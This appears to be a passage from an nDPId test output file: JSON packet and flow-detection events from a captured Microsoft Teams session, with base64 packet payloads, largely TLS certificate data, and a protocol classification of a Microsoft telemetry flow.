+00685{"flow_id":47,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1843,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":294436,"pkt_caplen":256,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":256,"pkt_l4_len":222,"pkt":"EBMx8Tl2KDc3AG3ICABFAADyAABAAEAG9sTAqAEGNHJNIeyLAbsws\/kmxyaNq4AYEAkImQAAAQEICjCEuYFhHwLEFgMBALkBAAC1AwNemFWVha04P4CUw6CKshmFd7ZG0fMDUFnrEIuMFFDaDAAALAD\/wCzAK8AkwCPACsAJwAjAMMAvwCjAJ8AUwBPAEgCdAJwAPQA8ADUALwAKAQAAYAAAACMAIQAAHm1vYmlsZS5waXBlLmFyaWEubWljcm9zb2Z0LmNvbQAKAAgABgAXABgAGQALAAIBAAANABIAEAQBAgEFAQYBBAMCAwUDBgMABQAFAQAAAAAAEgAAABcAAA=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1843,"source":"teams.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":4,"flow_first_seen":1587041685248,"flow_last_seen":1587041685294,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":32,"flow_max_l4_data_len":222,"flow_avg_l4_data_len":84,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60555,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Microsoft","breed":"Safe","category":"Cloud"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobile.pipe.aria.microsoft.com","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00417{"flow_id":45,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1844,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":302502,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAow5lAAHYGiJI0ccKEwKgBBgG77IqoHnAzRhs181AQBAFwiQAAAAAAAAAA"} +02359{"flow_id":48,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1846,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":312634,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUVEFAAGwGwa8ofgkHwKgBBgG77IwJMzW9xeiIvIAQBAWJ5wAAAQEIClJKuHcwhLl1i+Wbrav3bQpcZNAwCwYDVR0PBAQDAgSwMIIBJgYDVR0RBIIBHTCCARmCGWxvZ2luLm1pY3Jvc29mdG9ubGluZS5jb22CG2xvZ2luLm1pY3Jvc29mdG9ubGluZS1wLmNvbYIbbG9naW5leC5taWNyb3NvZnRvbmxpbmUuY29tghpsb2dpbjIubWljcm9zb2Z0b25saW5lLmNvbYIkc3RhbXAyLmxvZ2luLm1pY3Jvc29mdG9ubGluZS1pbnQuY29tgh1sb2dpbi5taWNyb3NvZnRvbmxpbmUtaW50LmNvbYIfbG9naW5leC5taWNyb3NvZnRvbmxpbmUtaW50LmNvbYIebG9naW4yLm1pY3Jvc29mdG9ubGluZS1pbnQuY29tgiBzdGFtcDIubG9naW4ubWljcm9zb2Z0b25saW5lLmNvbTCBrAYDVR0fBIGkMIGhMIGeoIGboIGYhktodHRwOi8vbXNjcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcmyGSWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcmwwTQYDVR0gBEYwRDBCBgkrBgEEAYI3KgEwNTAzBggrBgEFBQcCARYnaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzMB8GA1UdIwQYMBaAFFiIn9bcnEgitxQ+\/4SI6OaF\/\/p9MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATANBgkqhkiG9w0BAQsFAAOCAgEARVCFDXaNOijZYnNGoRWvtuOpazT+6a5NhffPDEd8mw13I5P2ZjdjuwO0BCuAa0rcrb9Xsv2qMoirtQ46ssv7U4RUbJ2q644olWDdoDLw3u2IwAi4+it8uqFANVWf479pYNzQSRACICWvLYyZOXoCzSVgryqqt6S9JYKLV\/5cOCwnLGXIMXunQZDJ9OLbjk3hV+y1gACDA7qTWXqQxmgI9aFpumAbRwTxqZV913sHD\/Cf4ut1VrXdDHEcgGroOgboavAnBPF1buLwyr8dsFVfenl1cv4K6OyxBhOa\/qPQC3E1A4UNtSz4dz0swsNbngQZDrl3H9MqpMRswrpJ9jUAZ4uzcbjmByMFT7UrO5NyfE2e754OXgg0kzSG7F0aYPVW64WQaAN5alS554Apkxzpnhy4dbLpcc+qDxw4uZRbEMvvqiGy3Tzvw2N2ZlLhpfCA79zVH3D9QcugIgQY75KsamAAzOcbXq0zT0xKgmRKBpdzG5DeC2KsBbrTTak1bUSSPLjvYpHhgabRiV7OEik97n1Dth5jNj0APlNTe65xy1gwKh4ItrHo4sQMKfxY9NyTKSBVKN3poUeJpe9p2ArtCr\/ZmVWqTui7XFpZPfiQUHWHxyvx0VTPR40NEp\/NGn3Uw7Bd\/MS5F6AKZAjGFEeyvsfA2p3QKRyzfNkfQWM3fP8ABbgwggW0MIIEnKADAgECAhAIuHpQG76c2i0WTT45Ub9VMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTYwNTIwMTI1MTI4WhcNMjQwNTIwMTI1MTI4WjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UE"} +00440{"flow_id":48,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1847,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":312734,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGR4XAqAEGKH4JB+yMAbvF6Ii8CTMwHbAQEAlO8wAAAQEICjCEuZJSSrhXAQEFCgkzNb0JMztd"} +02374{"flow_id":48,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1848,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":312858,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUVEBAAGwGwbAofgkHwKgBBgG77IwJMzAdxeiIvIAQBAU4LQAAAQEIClJKuHcwhLl1FgMDETsCAABVAwNemFWVv+Y6Y91elVdimLTxSMDEgN+ZC7m319R4\/GiuNyD5GQAAggqJCs0Z1TO0tYJC\/t6PSBilZOLYH0pNL\/WTl8AwAAANABcAAP8BAAEAAAAAAAsAD40AD4oACcwwggnIMIIHsKADAgECAhN7AAL0+uu8c4DySSOTAAAAAvT6MA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgMTAeFw0xODA5MjQyMTQ5MzBaFw0yMDA5MjQyMTQ5MzBaMCsxKTAnBgNVBAMTIHN0YW1wMi5sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAg9uMC7tn8RKm9hx1Q+vclCmv2FS5644lZCwDqwzCYb8L0QUXObmurDTp9z7imH\/68rvf0\/+KpPvZzn8n+A1ECu6H51tc4jh4cund1rKWCEvaClslKP1O5XZfDppym7WFQSIHQp9LXW26FaTqarCYkxKrkm\/lTdJtaXF5\/C7ZRJIFVaL9dmL\/uMiooAbDLhN56zmBjGeB2V01oJAQhD\/q\/lznyyirBK2V2vQ7WyyX4O7R5ox9CbJ7fjHmVfu5B\/IGhKzckLb+kPv4Ou1DFiJ+VjXUg8+HNiqYybm516lzAMR9GTpDm\/EaK\/DoNiRmeP+V6xIxpVOXNmdtJ2yXkhn+AQIDAQABo4IFgjCCBX4wggH1BgorBgEEAdZ5AgQCBIIB5QSCAeEB3wB1AKS5CZC0GFgUh7sTosxncAo8NZgE+RvfuON3zQ7IDdwQAAABZg2YTSEAAAQDAEYwRAIgNf1dCr\/A\/68iTF44ctzG4dfYj5k8kwrcMxb+OAftshACIEOFf1L8DyVWvGmp2q28iEZd5RDO6L\/3eE60TQKPTKibAHcAVhQGmi\/XwuzT9eG9RLI+x0Z2ubyZEVzA75SYVdaJ0N0AAAFmDZhK0AAABAMASDBGAiEA6k0qgGOQ2\/4vWshsmYpY7DSpdiwLlTeFqoSnh81\/2Y4CIQDv1+L779lV6U+goVXZN5Lr8mJnM2dtvY1ZqBBLJZkaOwB1AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABZg2YSsoAAAQDAEYwRAIgWKBW8MG0XWRpOFEy6yhRlkRMXWMvZwn2MMfc6oSrj0gCIBftriorxFHUNkLYAHoFWkhm8hNqcHO+KKiAs49boZzUAHYAu9nfvB+KcbWTlCOXqpJ7RzhXlQqrUugakJZkNo4e0YUAAAFmDZhLTgAABAMARzBFAiAA3dU0fJfG9tq5Rc4+sUUH+XraMuPYSatYD6LC\/2\/zTAIhAJWqprUivm3Ca3RKEfcrJtar2nlcdcqed0u5OIHS\/4PYMCcGCSsGAQQBgjcVCgQaMBgwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwPgYJKwYBBAGCNxUHBDEwLwYnKwYBBAGCNxUIh9qGdYPu2QGCyYUbgbWeYYX062CBXYTS30KC55N6AgFkAgEdMIGFBggrBgEFBQcBAQR5MHcwUQYIKwYBBQUHMAKGRWh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjAxLmNydDAiBggrBgEFBQcwAYYWaHR0cDovL29jc3AubXNvY3NwLmNvbTAdBgNVHQ4EFgQUiTQV2m224F\/j"} +00425{"flow_id":48,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1849,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":312905,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGR5HAqAEGKH4JB+yMAbvF6Ii8CTM7XYAQD6\/9hAAAAQEICjCEuZJSSrh3"} +02380{"flow_id":48,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1850,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":312975,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUVEJAAGwGwa4ofgkHwKgBBgG77IwJMztdxeiIvIAQBAX6sQAAAQEIClJKuHcwhLl1CxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCO8\/GEdXe8vsmk9RalUytQYJnc2H3ZJLXhckk3SP7ahpOjfR2aSxBNd3l+Zal8bjbiR9Q2SdDMJAInFOKucc3ZV3Q8EFYZkkqHYvnjkI1e3tFBGxqmH0CiLB6OVdcm2GhCq+wN3t1eYZWzrGyBzqjgra9fyqbkUWguJ\/1UKnGkzLt+kvH2U1EFMdAZgrDKY9DySgALzfRpS\/RallY5JsmdSwpjNDKApQTl6ii3wQDAbRrwKNRKj4CscxnY9RYvra4Il2IGLP7npfCtQVN\/jSsxwxRzId3jeGOcUYa1okhJwHkIFUMAK5m4S+DHVwdsxLmmVC0BU\/Kj8qTM2cFU84jN5EwT04ozIVitGL++OYFwOWk3+FukY+8JB9+HGmLHmgjF0R1eYnYB3WnmOLtEsC1NOsYugOBgclvyzOaOXDohHl2wOSu96hPLlsu2anSMjrwOEJ8bpUBBj5FcdqcO8ao6h7cMd99xai8oYUItkA9yBatn4MF7y5xAmsQKCESMfD26qQ4esdkivR9fQWpzVPZm4qD5pjne0nfzaQS\/t7s8xJP\/cgQctTadaH\/f+jlPsvaPuRz\/re0OFQjjhnzySEl3lxb2\/QD2T6Zeb+c5wFFlPeuxlzDs6p5z\/B4soN+Lz3NftQ4GQhcmlezYqSfQ0GWUXOI\/yigppSD0yN1dtP\/m3QIDAQABo4IBQjCCAT4wHQYDVR0OBBYEFFiIn9bcnEgitxQ+\/4SI6OaF\/\/p9MB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL09tbmlyb290MjAyNS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBADCaxp1q\/e+TCAy+gnf5dqBtnnswI3uoKVr0aj7HCwyW37hLUuQNnDjteGO1c8AcHzvgp\/9\/SVGVMrjQm6nlz5YDgYDVSmEY\/sRqxt9\/QUYinIBm6w9CoOTzpCGjmNB6dPaM6MPSK6orzhFZGUTnXAcJQuvX\/RVNuW9sRDUmh7qjO2iwgecgyX8TAvPMq58clVDLrmSAu4cKXc6ma7J94z024ilRtyX80AnjsK3EYi4+foUmsvav920xc8YZmKlykwLOygs9POzZcOiA9RareGqHTcaBN6gKdoEGqO8XYHxwEBM8ONczTOQ3ZQj7kbPoFnZhKmX1WJSzRQHvwE8De7gMAAFJAwAXQQRd7MSvhilh4+CUoUFa+y2vKnBmF\/\/7ZloBHndYZujdVHOrzAlcOkeC1HZ23W2nTeinfY6qCDPHfyUYhwOO\/Y2KBAEBAGy2\/wBljiVTv40+D7J+ShUKlkoKdiNZKI4znViS9GIjmeK4oJgRfXgxLuJVWXwpZHeYDG40TDwSRQy71NbS\/+hs4+f2Bqgw3P+lgCT4PsErx\/jYTSfIZdXQJE9gN8CQnQZKgp0v62o5xCPmRA3pfQb68jnzeX0FQkR4KtI3ASjHz9QKOxQiAdWX7Vdl1WCFbesaoC4ul7I5Jn0wWm6nlYhrigeK"} +00556{"flow_id":48,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1851,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":312977,"pkt_caplen":162,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":162,"pkt_l4_len":128,"pkt":"KDc3AG3IEBMx8Tl2CABFAACUVENAAGwGxu0ofgkHwKgBBgG77IwJM0D9xeiIvIAYBAUO+wAAAQEIClJKuHcwhLl1ylIYhh1swUUdzt0KIS+x1yDp112dFthuI7SvetM6QxZom320GzRkGy4oMbK3AzzTWBg7wjuVvNRmSVVhN2H19kOsZdTAWmUhAssMNxz3OXOwpycUFK29pbHFQLwOAAAA"} +00425{"flow_id":48,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1852,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":313016,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGR5HAqAEGKH4JB+yMAbvF6Ii8CTNBXYAQD9D3YwAAAQEICjCEuZJSSrh3"} +00598{"flow_id":48,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1857,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":323146,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAABAAEAGRxPAqAEGKH4JB+yMAbvF6Ii8CTNBXYAYEABr2AAAAQEICjCEuZtSSrh3FgMDAEYQAABCQQTwKy++HLBtGg3Uqg7Hj4cA5s160E2DLTa+rmI87ZN0CX5oGqVGwimriQ9\/3X3sl3qMqHyHVJ4c\/QEsIoSoJS59FAMDAAEBFgMDACgAAAAAAAAAAGcf0ldkqcTx3Mlc72Vgh1raGQFeDzkjoXhtD8jNFPtP"} +02367{"flow_id":44,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1861,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":327366,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUaa5AAGwGXDQ0ck0hwKgBBgG77IgacWa\/co2UYoAQBAV+ZwAAAQEICmEe3EYwhLlzFgMDEGYCAABRAwNemFWVd4ONVISrGBzenOh1wz59KlhffXpAp\/SRVzeitiAuDwAAZ8HaIUQ\/TUKOJyzDpeZ2C6OXN9Z66nmD08\/sf8AwAAAJABcAAP8BAAEACwAO3QAO2gAJHDCCCRgwggcAoAMCAQICExYACr2jKIomrOvxeF4AAAAKvaMwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA0MB4XDTE5MTAxMDIxNTUzOFoXDTIxMTAxMDIxNTUzOFowJjEkMCIGA1UEAwwbKi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq8J31SJyCTCkjxtLC8JE7aU56y+0937PcYfrFGWW\/wSL1vxV6UtbY+5UyBq7YUvoZUI+YYWI6FMysHpnkiGQR5h3NLX2it0lgM0JMJXgIYfO+vdhJalxciwWfJHOcY4+eUQwpTmpGeOTzK\/sd1W+VOYbkgWPJ0lAEgTcRXL\/NZZAtyce+Sv4+b4jHwY9pwQxOHJWtnns0bK3jD\/RcAtjLeUisGvBGtt1SItPOQvgD6i2AdvjCkjqVXn0nxT\/yKuGkvtii1i85nrjeMS5pKgL+N2I4goIXeRAaK089dd0KrnNO6kLEhhSHgHwJHnPwfqeXH1Q2p1Zw2r13mOsJdyP7QIDAQABo4IE1zCCBNMwggF\/BgorBgEEAdZ5AgQCBIIBbwSCAWsBaQB2APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABbbe0zD0AAAQDAEcwRQIgXUu8wYK\/QqX5unkLcaUv4T8oQWu5yZb6M3RYbUFPJ7sCIQCVvziq+dynpJXSFyAk+ZobbjdMm8Ziuyzc0miXoW9hmQB2AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABbbe0zTwAAAQDAEcwRQIgOIr7NuYD18H8X6OV\/YdBgg0HoCy47ognD1Etlbp3ZVgCIQCAVAoqvjDqhz4It72mColVOT\/FZuexWjdVPWkvuAPY1AB3AESUZS6w7s6vxEAH2Kj+KMDa5oK+2MsxtT\/TM5a1toGoAAABbbe0zEEAAAQDAEgwRgIhAMLyKXAV0HvPisLX5tlLiDTgtSUtRgffnQWc5h8Pdj8PAiEAo6ENbH0+qORahbVCksBW940dOZQUoTXblsn+bri9ExQwJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDQuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBQa+kPWU8gwtBlTGMvS3dHpIWlv7TALBgNVHQ8EBAMCBLAwgfIGA1UdEQSB6jCB54IbKi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tghlldmVudHMuZGF0YS5taWNyb3NvZnQuY29tghkqLnBpcGUuYXJpYS5taWNyb3NvZnQuY29tgg5waXBl"} +02360{"flow_id":44,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1862,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":327512,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUaa9AAGwGXDM0ck0hwKgBBgG77IgacWxfco2UYoAQBAXqeQAAAQEICmEe3EYwhLlzLnNreXBlLmNvbYIQKi5waXBlLnNreXBlLmNvbYIiKi5tb2JpbGUuZXZlbnRzLmRhdGEubWljcm9zb2Z0LmNvbYIgbW9iaWxlLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb22CFSouZXZlbnRzLmRhdGEubXNuLmNvbYITZXZlbnRzLmRhdGEubXNuLmNvbTCBrAYDVR0fBIGkMIGhMIGeoIGboIGYhktodHRwOi8vbXNjcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmyGSWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmwwTQYDVR0gBEYwRDBCBgkrBgEEAYI3KgEwNTAzBggrBgEFBQcCARYnaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzMB8GA1UdIwQYMBaAFHp7jMHP56DKHNRr+vvhM8MPGqKdMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATANBgkqhkiG9w0BAQsFAAOCAgEAUxCmyVHd3H7BNm7xrFDWc0lUKQfFfvZJj7fGm702yYNfNb17H3sDMMybFW0xvlL9Ezzab9UkH29uzppLcvgSPbaskyoVw+2aUUDOWU9BNPXX55faad2R1I6KtC+PfV7YLtmbicvSGz4AqzYw9ZreqUymbtwFHx+mEj1q7bV3EnUB\/tkVGJLU4rtEsbNOyNY0rT1MPRe2qZ6z8OTI\/Ubwew2S+CzQq6NSEinFnoQ24d33L9+Q2VR7IJxgZJZ0JLJRb2EkmyBTG1bJPbFiADdV1t9YSY2ps7oVekv29d\/XDIODAnQFR1IHqlMXtC77TWoRsh1X4rC3iStLm+7YDXNcZ\/4Mj9IuoDmWavbkJCD0d5pvrPILAZtuXahuvQzQtAY2n0vu1+AhHxMbk9e2L2iJYbk++P\/GCSsH0E3MwFuGBx2aD8kcD\/GasOSgJ2hX1PemGbx7\/Y9FGQudVhN6gkjLviiZxZQGDI3hc4aNkSo6HFXMcwVO63+RLd5FmQcXxQ4wQgOa8gPG9Z+WsefaydUjjPdFmpvxlC8L\/\/hy5Vj29oZ7skaSNpSCyBSNkBskAzSt9el50ZVrhM5J4i3BG1jJVGu2oqjlyxlbfhoa6VdObxpgGXjYRrBKCYMJOGSIW1HBsVpPOHiO3HTRTWSc3nsno7KhTt65NB2bdGHaIXFW18cABbgwggW0MIIEnKADAgECAhALarOwPrGp9sRgkmqozf6zMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTYwNTIwMTI1MjM4WhcNMjQwNTIwMTI1MjM4WjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCr5etdo2s5nvU0iBK7HVImXX0JC8Z5jqu3Dt8Zst3uD\/bu9FbkRuKSD+JnC+MccaTUQXO0y5kWjr93fbCvHmztcS7DCHdKXpKu7FrQSIHQxemg9XqPHo1e062SwNrGkTUxILk5"} +00425{"flow_id":44,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1863,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":327559,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyIAbtyjZRiGnFx\/4AQD696oAAAAQEICjCEuZ5hHtxG"} +02217{"flow_id":44,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1864,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":327736,"pkt_caplen":1389,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1389,"pkt_l4_len":1355,"pkt":"KDc3AG3IEBMx8Tl2CABFAAVfabBAAGwGXKc0ck0hwKgBBgG77IgacXH\/co2UYoAYBAXZxAAAAQEICmEe3EYwhLlzBM0QKjyXHQCemRgYCc9Ll+TJ\/ADwDFqdNuiyQMFKrIQoqj1GGCuniqz0r0uofklCx2IgwOanO13rkB+7itickOM6sWzClM4+MmvLcbNBLrnF4V3YWSeC++FIDX7oBPH5ASdB+pRafcUwu7a61xGbiPoBzG5Lkrn4eDzLnGiaFmaI0JOwKoMulxEdfoEgYeSwuZucblOVlSLG2b11ELrZdYw8Px3QlvgzRXt7H1Qz5UiXpwUkotvR3JWuICp9lolIe5J60CSx3kgR92c8tN\/4WGD1T3s0aOb9rCYItvMsQ9tPxBbQmwxxh7EHa4bdj6Cx+2ba2Mvp8vBl5Y7YHOovui1k8V7QG1CyDIVKzzvILipqdYzArlzZ6cB8fXzanOO9SrBgB4IrfV3IEK8uYozcmv3h2blZSJdCGsNQgQsfgyJr5Ju8KSKC\/YBRXHVfDjXC3X8vemefPY5bjLuvnfTMDPuoH50hwfPnUhpdzhRXbVC4Se6xCyfS4mknEm7GwCY+56QrG4tTOAb6Goc64Et\/mRZOWT1ZafFxp2VlGwIDAQABo4IBQjCCAT4wHQYDVR0OBBYEFHp7jMHP56DKHNRr+vvhM8MPGqKdMB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwN